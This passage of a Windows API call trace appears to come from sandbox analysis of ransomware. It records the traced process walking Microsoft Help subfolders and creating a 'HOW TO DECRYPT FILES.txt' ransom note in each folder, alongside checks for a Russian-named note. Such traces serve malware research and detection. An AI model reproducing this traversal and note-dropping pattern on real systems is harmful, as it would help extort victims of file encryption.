lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\hxdsui.dll" [0076.227] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52b50f00, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x52b50f00, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x3340, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.227] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.227] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1031", cAlternateFileName="")) returned 1 [0076.227] lstrcmpA (lpString1=".", lpString2="1031") returned -1 [0076.227] lstrcmpA (lpString1="..", lpString2="1031") returned -1 [0076.227] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.227] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1031" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031" [0076.227] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.228] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.228] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed5e6b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.228] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.228] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.228] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.228] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.228] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.228] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.228] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.228] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*.*") returned="*.*" [0076.228] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\" [0076.228] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\") returned="" [0076.228] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\HOW TO DECRYPT FILES.txt" [0076.228] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1031\\how to decrypt files.txt")) returned 0xffffffff [0076.228] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1031\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.230] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.230] CloseHandle (hObject=0x90) returned 1 [0076.230] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\hxdsui.dll" [0076.230] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538a200, ftCreationTime.dwHighDateTime=0x1c9db1a, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x538a200, ftLastWriteTime.dwHighDateTime=0x1c9db1a, nFileSizeHigh=0x0, nFileSizeLow=0x4f40, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.230] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.231] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1033", cAlternateFileName="")) returned 1 [0076.231] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0076.231] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0076.231] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.231] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1033" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033" [0076.231] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.232] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.232] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.232] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.232] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.232] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.232] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.232] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.232] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.232] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.232] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*.*") returned="*.*" [0076.232] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\" [0076.232] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\") returned="" [0076.232] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\HOW TO DECRYPT FILES.txt" [0076.232] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1033\\how to decrypt files.txt")) returned 0xffffffff [0076.232] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1033\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.234] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.234] CloseHandle (hObject=0x90) returned 1 [0076.235] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\hxdsui.dll" [0076.235] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c6c3700, ftCreationTime.dwHighDateTime=0x1c9db16, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c6c3700, ftLastWriteTime.dwHighDateTime=0x1c9db16, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.235] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.235] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1036", cAlternateFileName="")) returned 1 [0076.235] lstrcmpA (lpString1=".", lpString2="1036") returned -1 [0076.235] lstrcmpA (lpString1="..", lpString2="1036") returned -1 [0076.235] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.235] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1036" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036" [0076.235] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.236] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.236] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.237] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.237] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.237] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.237] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.237] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.237] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.237] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.237] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*.*") returned="*.*" [0076.237] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\" [0076.237] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\") returned="" [0076.237] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\HOW TO DECRYPT FILES.txt" [0076.237] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1036\\how to decrypt files.txt")) returned 0xffffffff [0076.237] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1036\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.238] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.239] CloseHandle (hObject=0x90) returned 1 [0076.239] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\hxdsui.dll" [0076.239] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57c48f00, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57c48f00, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.239] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.239] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1040", cAlternateFileName="")) returned 1 [0076.239] lstrcmpA (lpString1=".", lpString2="1040") returned -1 [0076.239] lstrcmpA (lpString1="..", lpString2="1040") returned -1 [0076.239] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.239] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1040" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040" [0076.239] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.240] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.240] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed84810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.240] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.240] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.240] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 1 [0076.240] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.240] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hxdsui.dll") returned -1 [0076.240] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hxdsui.dll") returned -1 [0076.240] lstrcmpiA (lpString1="", lpString2="hxdsui.dll") returned -1 [0076.240] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\*.*") returned="*.*" [0076.240] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\" [0076.240] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\") returned="" [0076.240] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\HOW TO DECRYPT FILES.txt" [0076.240] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1040\\how to decrypt files.txt")) returned 0xffffffff [0076.240] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\help\\1040\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0076.242] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.242] CloseHandle (hObject=0x90) returned 1 [0076.242] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\", lpString2="hxdsui.dll" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\hxdsui.dll") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1040\\hxdsui.dll" [0076.242] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b581600, ftCreationTime.dwHighDateTime=0x1c9db17, ftLastAccessTime.dwLowDateTime=0xeed84810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5b581600, ftLastWriteTime.dwHighDateTime=0x1c9db17, nFileSizeHigh=0x0, nFileSizeLow=0x4d48, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="hxdsui.dll", cAlternateFileName="")) returned 0 [0076.243] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0076.243] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="1041", cAlternateFileName="")) returned 1 [0076.243] lstrcmpA (lpString1=".", lpString2="1041") returned -1 [0076.243] lstrcmpA (lpString1="..", lpString2="1041") returned -1 [0076.243] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*.*") returned="*.*" [0076.243] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\", lpString2="1041" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041" [0076.243] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1041\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, 